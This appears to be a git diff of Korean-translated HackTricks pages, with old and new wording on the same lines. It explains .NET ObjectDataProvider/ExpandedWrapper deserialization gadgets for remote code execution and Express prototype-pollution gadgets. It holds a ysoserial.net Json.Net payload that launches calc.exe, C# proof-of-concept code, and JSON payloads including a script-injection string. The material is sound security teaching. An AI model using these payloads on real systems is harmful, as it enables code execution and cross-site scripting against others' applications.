Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
</details> </details>
{% endhint %}
이 게시물은 **ObjectDataProvider 가젯이 어떻게 악용되어 RCE를 얻는지**와 Serialization 라이브러리 **Json.Net 및 xmlSerializer가 그 가젯과 함께 악용될 수 있는 방법을 이해하는 데** 전념되어 있습니다. 이 게시물은 **ObjectDataProvider 가젯이 어떻게 악용되는지 이해하기 위해** 작성되었습니다. RCE를 얻기 위해 **Json.Net 및 xmlSerializer와 함께** 이 가젯이 **어떻게 남용될 수 있는지** 설명합니다.
## ObjectDataProvider 가젯 ## ObjectDataProvider 가젯
문서에서: _ObjectDataProvider 클래스는 바인딩 소스로 사용할 수 있는 객체를 래핑하고 생성합니다_.\ 문서에서: _ObjectDataProvider 클래스는 바인딩 소스로 사용할 수 있는 객체를 래핑하고 생성합니다._\
그래, 이상한 설명이죠. 그래서 이 클래스가 흥미로운 이유는 무엇인지 살펴봅시다: 이 클래스는 **임의의 객체를 래핑**하고, _**MethodParameters**_를 사용하여 **임의의 매개변수를 설정**하고, 그런 다음 **MethodName을 사용하여 임의의 함수를 호출**할 수 있습니다.\ 네, 이상한 설명이니 이 클래스가 왜 흥미로운지 살펴보겠습니다: 이 클래스는 **임의의 객체를 래핑**하고, _**MethodParameters**_를 사용하여 **임의의 매개변수를 설정**한 다음, **MethodName을 사용하여 임의의 객체의 임의의 함수를 호출**할 수 있게 해줍니다.\
따라서, 임의의 **객체**는 **역직렬화될 때** **매개변수와 함께 함수를 실행**할 것입니다. 따라서 임의의 **객체**는 **역직렬화되는 동안 매개변수와 함께** **함수**를 **실행**합니다.
### **이것이 어떻게 가능한가요** ### **이게 어떻게 가능할까요**
**System.Windows.Data** 네임스페이스는 **PresentationFramework.dll**에 있으며 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`에서 ObjectDataProvider가 정의되고 구현됩니다. **System.Windows.Data** 네임스페이스는 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`**PresentationFramework.dll** 내에 정의되고 구현되어 있습니다.
[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하여 관심 있는 클래스의 코드를 **검사**할 수 있습니다. 아래 이미지에서 우리는 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다. [**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하여 우리가 관심 있는 클래스의 **코드를 검사**할 수 있습니다. 아래 이미지에서 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
![](<../../.gitbook/assets/image (427).png>) ![](<../../.gitbook/assets/image (427).png>)
`MethodName`이 설정되면 `base.Refresh()`가 호출되는 것을 확인할 수 있습니다. 이것이 무엇을 하는지 살펴봅시다: `MethodName`이 설정되면 `base.Refresh()`가 호출되는 것을 볼 수 있습니다. 이게 무엇을 하는지 살펴보겠습니다:
![](<../../.gitbook/assets/image (319).png>) ![](<../../.gitbook/assets/image (319).png>)
아요, `this.BeginQuery()`가 무엇을 하는지 계속 살펴봅시다. `BeginQuery``ObjectDataProvider`에 의해 재정의되며 다음을 수행합니다: 습니다, `this.BeginQuery()`가 무엇을 하는지 계속 살펴보겠습니다. `BeginQuery``ObjectDataProvider`에 의해 재정의되며, 다음과 같은 작업을 수행합니다:
![](<../../.gitbook/assets/image (345).png>) ![](<../../.gitbook/assets/image (345).png>)
코드 끝에서 `this.QueryWorke(null)`를 호출하는 것을 주목하세요. 이것이 무엇을 실행하는지 살펴봅시다: 코드 끝부분에서 `this.QueryWorke(null)`를 호출하는 것을 주목하세요. 이것이 무엇을 실행하는지 살펴보겠습니다:
![](<../../.gitbook/assets/image (596).png>) ![](<../../.gitbook/assets/image (596).png>)
이것`QueryWorker` 함수의 전체 코드는 아니지만, 그 중요한 부분을 보여줍니다: 코드는 **`this.InvokeMethodOnInstance(out ex);`를 호출**하는데, 이것이 **설정된 메소드가 호출되는** 라인입니다. 이것`QueryWorker` 함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드 **`this.InvokeMethodOnInstance(out ex);`를 호출합니다.** 이 줄이 **메서드 세트가 호출되는** 부분입니다.
_**MethodName**_만 설정하면 실행된다는 것을 확인하고 싶다면, 다음 코드를 실행할 수 있습니다: 단순히 _**MethodName**_\*\*을 설정하는 것만으로도 실행될 것임을 확인하고 싶다면, 이 코드를 실행할 수 있습니다:
```java ```java
using System.Windows.Data; using System.Windows.Data;
using System.Diagnostics; using System.Diagnostics;
@ -62,16 +65,16 @@ myODP.MethodName = "Start";
} }
} }
``` ```
참고로 `System.Windows.Data`를 로드하기 위해 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_을 추가해야 합니다. Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
## ExpandedWrapper ## ExpandedWrapper
이전 exploit을 사용하면 **object**가 _**ObjectDataProvider**_ 인스턴스로 **역직렬화될** 경우가 있습니다 (예: DotNetDuke 취약점에서는 XmlSerializer를 사용하여 `GetType`을 사용하여 object가 역직렬화되었습니다). 그런 다음, _ObjectDataProvider_ 인스턴스에 **감싸인 object type에 대한 지식이 없을 것**입니다 (`Process` 예를 들어). [DotNetDuke 취약점에 대한 자세한 정보는 여기에서 확인할 수 있습니다](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1). 이전의 익스플로잇을 사용하면 **객체**가 _**ObjectDataProvider**_ 인스턴스로 **역직렬화될** 경우가 있습니다(예: DotNetNuke 취약점에서 XmlSerializer를 사용하여 객체가 `GetType`을 사용하여 역직렬화됨). 그러면 _ObjectDataProvider_ 인스턴스에 **포장된 객체 유형에 대한 지식이 없습니다**(예: `Process`). [여기에서 DotNetNuke 취약점에 대한 더 많은 정보를 찾을 수 있습니다](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
이 클래스는 주어진 인스턴스에 **캡슐화된 object types를 지정**할 수 있습니다. 따라서, 이 클래스는 소스 object (_ObjectDataProvider_)를 새로운 object type으로 캡슐화하고 필요한 속성들을 제공할 수 있습니다 (_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_).\ 이 클래스는 주어진 인스턴스에 캡슐화된 객체의 **객체 유형을 지정할 수 있게** 해줍니다. 따라서 이 클래스는 소스 객체(_ObjectDataProvider_)를 새로운 객체 유형으로 캡슐화하고 우리가 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
전에 제시된 경우와 같이 매우 유용합니다. 왜냐하면 우리는 **\_ObjectDataProvider**_\*\*를 \*\*_**ExpandedWrapper** \_ 인스턴스 내부에 **감쌀** 수 있기 때문에 이 클래스가 **역직렬화될 때** _**MethodName**_에 지정된 **함수**를 **실행**할 _**OjectDataProvider**_ object를 **생성**할 수 있습니다. 는 앞서 제시된 경우와 같은 경우에 매우 유용합니다. 왜냐하면 우리는 **\_ObjectDataProvider**_\*\*를 \*\*_**ExpandedWrapper** \_ 인스턴스 안에 **포장할 수** 있고 **역직렬화될 때** 이 클래스는 _**OjectDataProvider**_ 객체를 **생성**하여 _**MethodName**_에 지정된 **함수**를 **실행**할 것입니다.
다음 코드로 이 wrapper를 확인할 수 있습니다: 다음 코드를 사용하여 이 래퍼를 확인할 수 있습니다:
```java ```java
using System.Windows.Data; using System.Windows.Data;
using System.Diagnostics; using System.Diagnostics;
@ -95,11 +98,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
``` ```
## Json.Net ## Json.Net
[공식 웹 페이지](https://www.newtonsoft.com/json)에는 이 라이브러리가 **Json.NET의 강력한 JSON 직렬화기를 사용하여 .NET 객체를 직렬화 및 역직렬화**할 수 있다고 나와 있습니다. 따라서, 만약 우리가 **ObjectDataProvider 가젯을 역직렬화**할 수 있다면, 객체를 역직렬화함으로써 **RCE**를 유발할 수 있습니다. [공식 웹 페이지](https://www.newtonsoft.com/json)에는 이 라이브러리가 **Json.NET의 강력한 JSON 직렬 변환기를 사용하여 모든 .NET 객체를 직렬화 및 역직렬화할 수 있도록 한다**고 명시되어 있습니다. 따라서 **ObjectDataProvider 가젯을 역직렬화**할 수 있다면, 객체를 역직렬화하는 것만으로도 **RCE**를 유발할 수 있습니다.
### Json.Net 예제 ### Json.Net 예제
먼저 이 라이브러리를 사용하여 객체를 **직렬화/역직렬화**하는 예제를 살펴보겠습니다: 우선 이 라이브러리를 사용하여 객체를 **직렬화/역직렬화**하는 방법에 대한 예제를 살펴보겠습니다:
```java ```java
using System; using System;
using Newtonsoft.Json; using Newtonsoft.Json;
@ -142,9 +145,9 @@ Console.WriteLine(desaccount.Email);
} }
} }
``` ```
### Json.Net ### Json.Net
[ysoserial.net](https://github.com/pwntester/ysoserial.net)을 사용하여 exploit을 생성했습니다: [ysoserial.net](https://github.com/pwntester/ysoserial.net)을 사용하여 익스플로잇을 생성했습니다:
```java ```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{ {
@ -157,7 +160,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
} }
``` ```
이 코드에서 **exploit을 테스트**할 수 있습니다. 그냥 실행하면 calc가 실행되는 것을 볼 수 있습니다: 이 코드에서 **익스플로잇을 테스트**할 수 있습니다. 그냥 실행하면 calc가 실행되는 것을 볼 수 있습니다:
```java ```java
using System; using System;
using System.Text; using System.Text;
@ -194,14 +197,17 @@ TypeNameHandling = TypeNameHandling.Auto
} }
} }
``` ```
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>영웨이에 대한 제로부터 히어로까지의 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사에서 일하시나요**? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* **다음에 가입하세요** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 혹은 [**텔레그램 그룹**](https://t.me/peass) 또는 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하세요** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출함으로써.
</details> </details>
{% endhint %}

View file

@ -1,40 +1,41 @@
# 익스프레스 프로토타입 오염 가젯 # Express Prototype Pollution Gadgets
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹 배우기</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
- **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)**다크 웹**을 통해 제공되는 **무료** 기능을 제공하는 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 확인하는 데 사용됩니다. [**WhiteIntel**](https://whiteintel.io)**다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난당한 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
그들의 웹사이트를 확인하고 **무료**로 엔진을 시험해 볼 수 있습니다: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## XSS 응답 제공 ## Serve XSS responses
**더 자세한 내용은** [**원본 연구를 확인하세요**](https://portswigger.net/research/server-side-prototype-pollution) **자세한 내용은** [**원본 연구를 참조하세요**](https://portswigger.net/research/server-side-prototype-pollution)
### JSON 콘텐츠 유형을 HTML로 변경 ### JSON 콘텐츠 유형을 HTML로 변경
**JSON 콘텐츠 유형 응답**을 사용하는 익스프레스 앱에서 JSON을 반영하는 경우: **JSON 콘텐츠 유형 응답**을 사용하는 Express 앱에서 JSON을 반영할 때:
```javascript ```javascript
app.use(bodyParser.json({type: 'application/json'})); app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){ app.post('/', function(req, res){
@ -42,15 +43,15 @@ _.merge({}, req.body);
res.send(req.body); res.send(req.body);
}); });
``` ```
러한 경우에는 JSON 콘텐츠 유형으로는 일반적으로 XSS가 불가능합니다. 그러나 프로토타입 오염을 통해 **Express가 HTML 응답을 제공하도록 혼란스럽게 만들 수 있습니다.** 이 취약점은 응용 프로그램이 **`res.send(obj)`**를 사용하고 body parser를 사용하여 application/json 콘텐츠 유형을 사용하는 데 의존합니다. 이 경우 JSON 콘텐츠 유형으로 XSS는 일반적으로 불가능합니다. 그러나 프로토타입 오염을 통해 **Express가 HTML 응답을 제공하도록 혼란을 줄 수 있습니다.** 이 취약점은 애플리케이션이 **`res.send(obj)`**를 사용하고 application/json 콘텐츠 유형으로 본문 파서를 사용하는 데 의존합니다.
```json ```json
{"__proto__":{"_body":true,"body":"<script>evil()"}} {"__proto__":{"_body":true,"body":"<script>evil()"}}
``` ```
**`body`** 및 **`_body`** 속성을 **오염**함으로써 **Express가 HTML 콘텐츠 유형을 제공**하고 **`_body`** 속성을 반영하여 저장된 XSS를 유발할 수 있습니다. **`body`** 및 **`_body`** 속성을 **오염시킴으로써**, **Express가 HTML 콘텐츠 유형을 제공하고** `_body` 속성을 반영하게 할 수 있으며, 이로 인해 저장된 XSS가 발생할 수 있습니다.
### UTF7 렌더링 ### UTF7 렌더링
Express가 **UTF-7 콘텐츠를 렌더링하도록** 수 있습니다: Express가 **UTF-7 콘텐츠를 렌더링하도록** 만들 수 있습니다:
```json ```json
{"__proto__":{"content-type": "application/json; charset=utf-7"}} {"__proto__":{"content-type": "application/json; charset=utf-7"}}
``` ```
@ -58,25 +59,25 @@ Express가 **UTF-7 콘텐츠를 렌더링하도록** 할 수 있습니다:
### JSON 공백 ### JSON 공백
다음 PP는 JSON 내의 속성에 추가 공백을 넣어 기능을 손상시키지 않습니다: 다음 PP는 JSON 내부의 속성에 추가 공백을 만들어 기능이 중단되지 않도록 합니다:
```json ```json
{"__proto__":{"json spaces": " "}} {"__proto__":{"json spaces": " "}}
``` ```
러면 반사된 JSON은 다음과 같이 보입니다: 반사된 JSON은 다음과 같이 보입니다:
```json ```json
{"foo": "bar"} -- Note the extra space {"foo": "bar"} -- Note the extra space
``` ```
### 노출된 헤더 ### Exposed Headers
다음 PP 가젯은 서버가 다음 HTTP 헤더를 보내도록 만듭니다: **`Access-Control-Expose_headers: foo`** 다음 PP 가젯은 서버가 HTTP 헤더를 반환하도록 합니다: **`Access-Control-Expose_headers: foo`**
```json ```json
{"__proto__":{"exposedHeaders":["foo"]}} {"__proto__":{"exposedHeaders":["foo"]}}
``` ```
**CORS 모듈이 설치되어 있어야합니다** It requires the **CORS 모듈이 설치되어야 합니다**
### **OPTIONS 메드** ### **OPTIONS 메드**
다음 payload를 사용하면 **OPTIONS 응답에서 메소드를 숨길 수 있습니다**: 다음 페이로드를 사용하면 **OPTIONS 응답에서 메서드를 숨길 수 있습니다**:
```javascript ```javascript
// Original reponse: POST,GET,HEAD // Original reponse: POST,GET,HEAD
@ -93,28 +94,28 @@ Express가 **UTF-7 콘텐츠를 렌더링하도록** 할 수 있습니다:
``` ```
### 오류 ### 오류
원시 값인 문자열과 같은 것으로 프로토타입을 할당하면 **프로토타입은 객체여야 하므로 no-op 작업이 생성**됩니다. `Object.prototype`에 프로토타입 객체를 할당하려고 하면 **예외가 발생**합니다. 이 두 가지 동작을 사용하여 **프로토타입 오염이 성공적으로 감지되었는지 확인**할 수 있습니다: 프리미티브인 문자열과 같은 것으로 프로토타입에 할당하면 **프로토타입은 객체여야 하므로 no-op 작업이 발생합니다**. `Object.prototype` 자체에 프로토타입 객체를 할당하려고 하면 **예외가 발생합니다**. 우리는 이 두 가지 동작을 사용하여 **프로토타입 오염이 성공했는지 감지할 수 있습니다**:
```javascript ```javascript
({}).__proto__.__proto__={}//throws type exception ({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception ({}).__proto__.__proto__="x"//no-op does not throw exception
``` ```
### 반사된 값 ### Reflected Value
응용 프로그램이 응담에 객체를 포함하고 **`__proto__`와 함께 비정상적인 이름의 속성을 생성**하는 경우, 이는 통찰력을 제공할 수 있습니다. 특히 응답에 **비정상적인 속성만 반환**되는 경우, 이는 응용 프로그램의 취약점을 나타낼 수 있습니다: 응용 프로그램이 응답에 객체를 포함할 때, **`__proto__`**와 함께 **비정상적인 이름의 속성**을 생성하는 것은 유용할 수 있습니다. 특히, **응답에 비정상적인 속성만 반환되는 경우**, 이는 응용 프로그램의 취약점을 나타낼 수 있습니다:
```json ```json
{"unusualName":"value","__proto__":"test"} {"unusualName":"value","__proto__":"test"}
``` ```
또한 Lodash와 같은 라이브러리가 사용되는 시나리오에서는 프로토타입 오염(PP)을 통해 속성을 설정하고 객체 내부에 직접 설정하는 것이 다른 진단 접근 방법을 제공합니다. 응답에서 해당 속성이 누락된 경우, Lodash가 병합하기 전에 대상 객체에서 속성의 존재 여부를 확인하고 있음을 시사합니다: 또한, Lodash와 같은 라이브러리가 사용되는 시나리오에서는 프로토타입 오염(PP)을 통해 속성을 설정하는 것과 객체 내부에서 직접 설정하는 것이 또 다른 진단 접근 방식을 제공합니다. 만약 이러한 속성이 응답에서 생략된다면, 이는 Lodash가 병합하기 전에 대상 객체에서 속성의 존재를 확인하고 있음을 시사합니다:
```javascript ```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"} {"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash // If 'b' is the only property reflected, this indicates prototype pollution in Lodash
``` ```
## 기타 ## Misc
### 점 허용 ### Allow Dots
Express에는 **쿼리 문자열 매개변수에서 객체를 생성하는 옵션이 있습니다**.\ Express에는 **쿼리 문자열 매개변수로부터 객체를 생성할 수 있는** 옵션이 있습니다.\
를 사용하여 **프로토타입 오염 취약점을 악용하는 버그 체인**을 만들 수 있습니다. 것은 확실히 **프로토타입 오염 취약점**을 악용하기 위한 버그 **체인**에서 사용할 수 있습니다.
```json ```json
{"__proto__":{"allowDots":true}} {"__proto__":{"allowDots":true}}
``` ```
@ -128,24 +129,25 @@ Express에는 **쿼리 문자열 매개변수에서 객체를 생성하는 옵
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)**다크 웹**을 기반으로 하는 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 확인하는 **무료** 기능을 제공합니다. [**WhiteIntel**](https://whiteintel.io)**다크웹** 기반의 검색 엔진으로, 기업이나 그 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
그들의 웹사이트를 방문하여 **무료**로 엔진을 시험해 볼 수 있습니다: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks에 귀사를 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Nginx 임시 파일을 통한 LFI2RCE # LFI2RCE via Nginx temp files
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고**되길 원하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
